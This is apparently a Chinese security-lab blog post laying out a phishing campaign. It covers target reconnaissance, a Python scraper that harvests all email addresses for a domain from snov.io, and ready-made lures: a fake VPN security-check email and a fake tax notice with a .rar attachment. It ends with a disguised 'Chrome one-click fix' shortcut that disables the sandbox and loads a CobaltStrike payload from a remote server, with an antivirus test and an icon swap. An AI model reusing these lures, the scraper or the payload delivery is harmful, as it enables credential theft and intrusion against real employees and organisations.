文章来源|Ms08067安全实验室

本文作者:Taoing

 

钓鱼思路整理
一、目标信息收集
二、目标环境
三、社交
四、基础设施
五、邮件
邮箱信息收集
六、钓鱼话术模板
案例一:
案例二:
案例三钓鱼案例:Chrome漏洞一键修复

 

一、目标信息收集

  • 业务范围

    • 金融

    • 医疗

    • 卫生

    • IT

  • 组织架构

    • 董事会

    • 高管

    • 财务

    • 采购

    • 运维

  • 人员信息

    • 针对不同职位采用不同话术

    • 按照,部门、职务、难易程度分类,分批次投递

    • 姓名、职位、邮箱、手机

  • 目标服务入口

    • VPN、webVPN

    • 邮服

    • SSO认证

    • OA认证

    • 其他内网入口

    • 帮助文档、使用手册文档信息泄露,收集弱口令

  • 站内联系方式

    • 新闻投稿、投诉举报、站内信、业务反馈

  • 目标新闻

    • 了解企业文化、工作动态、便于构造高质量文案,提高效率

  • **库

    • 根据收集到的信息进行猎魔查询

 

二、目标环境

  • 地区用户环境

    • 语言、常用邮箱、常用搜索引擎、常用运营商

  • 时间、工作时间

    • 了解日常工作时间,节假日,尽可能工作日发信

 

三、社交

  • 大陆:微信、脉脉、领英、qq、钉钉

  • 海外:领英、Facebook、Twitter、Line、ins、YouTube、TG

  • 工作软件进行钓简历

 

四、基础设施

  • 目标地区匿名手机号

  • 目标地区常用邮箱

  • 目标近似域名

 

五、邮件

  • 话术

    • 落款信息、开头语、结束语、标题、发信人名称/部门名称

  • 邮件格式

    • 仿正规邮件,无明显钓鱼邮件格式,邮件添加logo增加可信度

  • 发信IP或服务

    • 优先选择第三方邮件服务,正规无拉黑

  • 发信频率

    • 多批次,少投递,高精准

 

邮箱信息收集

python3 .snov.py -u 注册时的邮箱 -p 注册时的密码 -t baidu.com

# -*- coding: utf-8 -*-
# @Time : 2021年08月04日:14时34分
# @File : snov.py
import requests
import re
import json
from urllib.parse import unquote
from math import ceil
from optparse import OptionParser #用于生成帮助文档
from os.path import exists
import warnings
warnings.filterwarnings('ignore')

class Snov:
def __init__(self):
self.domain="https://app.snov.io"
self.headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15'
}
self.session=requests.session()

def _login(self,username,password): #自动登录功能
session=requests.session() #定义session
url=self.domain+"/login"
response=session.get(url=url,headers=self.headers)
data=response.content.decode()
pattern="name=\"_token\"\s?value=\"(.*?)\"" #获取登录使用的token
result=re.findall(pattern,data)
try:
_token=result[0]
except:
return False
param={
"email":username,
"password":password,
"_token":_token,
"remember":"off"
}
response=session.post(url=url,data=param,headers=self.headers,verify=False)
XSRF_TOKEN=session.cookies.get("XSRF-TOKEN")
self.headers['X-XSRF-TOKEN']=unquote(XSRF_TOKEN) #将XSRF_TOKEN复制
self.session=session
return True

def _getDomainSearch(self,searchDomain):
param={"domain":searchDomain,"isGreen":"true","lastId":0,"perPage":20}
url=self.domain+"/domain-search"
headers = self.headers
headers['Content-Type'] = "application/json"
response=self.session.post(url=url,headers=headers,data=json.dumps(param),verify=False)
data=response.content.decode()
data=json.loads(data)
try:
id=data.get("companyInfo",None).get('id',None)
return id #返回公司id
except:
return False

def _getTotal(self,id): #获取邮箱和联系人总个数
url=self.domain+"/companies/"+str(id)
headers = self.headers
headers['Content-Type'] = "application/json"
response=self.session.post(url=url,data=None,headers=headers,verify=False)
data=response.content.decode()
data=json.loads(data)
try:
emailsTotal=data.get("emailsTotal",0)
contactsTotal=data.get("contactsTotal",0)
return (emailsTotal,contactsTotal)
except:
return (0,0)
def _getMail(self,total,id,target): #获取全部邮箱
url = self.domain + "/companies/" + str(id) + "/" + "emails"
headers = self.headers
headers['Content-Type'] = "application/json"
headers['Referer'] = "https://app.snov.io/domain-search?name={}&tab=emails".format(target)
headers['X-Requested-With'] = "XMLHttpRequest"
#total=452
count=ceil(total/200)
print("{}一个有{}个邮箱,分{}次获取".format(target,total,count))
lastId=None
for i in range(1,count+1,1):
if not lastId:
param={"isGreen":True,"lastId":0,"perPage":200,"page":i}
response=self.session.post(url=url,data=json.dumps(param),headers=headers,timeout=50,verify=False)
data=response.content.decode()
data=json.loads(data)
lists=data.get("list",None)
lastId=data.get("lastId",1)
self._storeMail(lists,target)
elif lastId:
param={"isGreen":True,"lastId":lastId,"perPage":200,"domain":""}
response = self.session.post(url=url, data=json.dumps(param), headers=headers, timeout=50, verify=False)
data = response.content.decode()
data = json.loads(data)
lists = data.get("list", None)
lastId = data.get("lastId", 1)
self._storeMail(lists,target)

def _storeMail(self,lists,target):
storage="./"+target+"_mails.txt"
if lists:
with open(storage,"a",encoding="utf-8") as fp:
for list in lists:
email=list.get('email',None)
if email:
fp.write(email)
fp.write("\n")

def run(self,username,password,targets):
if self._login(username=username,password=password):
for target in targets:
print("开始查询{}。".format(target))
id=self._getDomainSearch(target.strip())
emailsTotal, contactsTotal = self._getTotal(id)
self._getMail(emailsTotal,id,target)
else:
exit("登录出错!")

if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-u", "--user", dest="username", default=None, help="用户名")
parser.add_option("-p", "--pass", dest="password", default=None, help="登录密码")
parser.add_option("-t", "--target", dest="target", default=None, help="要查询的域名,多个目标使用,隔开")
parser.add_option("-f", "--file", dest="file", default=None, help="可以使用文件输入目标,一行一个")
(options, args) = parser.parse_args() # 取值并且存入options
if (options.username and options.password):
if options.target:
targets=options.target.split(",")
print(targets)
elif exists(options.file):
targets=list()
with open(options.file,"r",encoding='utf-8') as fp:
line=fp.readline()
while line:
line=line.strip()
targets.append(line)
line=fp.readline()
else:
targets=None
if targets:
snov=Snov()
snov.run(options.username.strip(),options.password.strip(),targets)
else:
exit("输入有误,滚啊!!!")

 

六、钓鱼话术模板

 

案例一:

亲爱的同事们:
近期,公司监控系统捕捉到某些VPN账号存在数次异常操作行为,根据我司(集团)网络安全规定,为确保账号安全,现需要所有具有VPN登录权限的同事配合(无VPN登录权限的同事可直接忽略此邮件),尽快重新登录VPN系统以完成VPN账号安全检查,登录VPN系统自动检查账号安全性,检查过程将全程自动进行,无需人工干预,具体操作如下图所示,注:逾期未进行安全自检的VPN账号将全部被收回或锁定,系统邮件,请勿回复

 

案例二:

关于2021年度绩效结算个人所得税税收优化的情况通报

关于2021年度绩效结算个人所得税税收优化的情况通报各单位:

根据《关于延续实施全年一次性奖金等个人所得税优惠政策的公告》(财政部税务总局2021年第42号公告),全年一次性奖金单独计税优惠政策,执行期限延长至2023年12月31日。

为确保广大职工充分享受该项税收优惠政策,2021年底计财处对每一名职工的全年工薪收入和各类扣除情况进行了分析测算,按政策将大部分职工年底发放的部分绩效结算金额按全年一次性奖金优化计税。优化后,有78.2%的职工可节约税金。在2022年2月底申报期完成全年一次性奖金纳税申报后,计财处会按程序将节约的税金发至职工***上。

需要说明:经过对职工全年应缴税额和已扣税额对比,有部分职工需要补税(名单见附件),补税的金额将在后续发放的绩效中扣除。产生补税的原因主要是部分职工在2021年12月通过个人所得税APP修改了专项附加扣除,由于操作不当,导致全年专项附加扣除额度减少,从而应缴税额增加。建议这部分职工在使用个人所得税年度APP进行汇算清缴时,将专项附加扣除修改正确,可申请退回这部分税金。

附件名称:2021年度本单位职工个税补缴名单.rar

 

案例三:钓鱼案例:Chrome漏洞一键修复

补丁欺骗、利用Tools欺骗、通知欺骗。等思路结合,自行脑补

CobaltStrike→生成shellcode

 

将/替换为,0

下载payload地址

 

保存-->上传你的vps

 

chrome 浏览器 创建快捷方式到桌面 右键编辑快捷方式

增加 -no-sandbox 参数 关闭沙箱
-no-sandbox http://xx.xx.xxx.xxx/payload.html 

#加入点击快捷方式直接上线

 

测试火绒

 

更改图标

图标地址:%SystemRoot%System32imageres.dll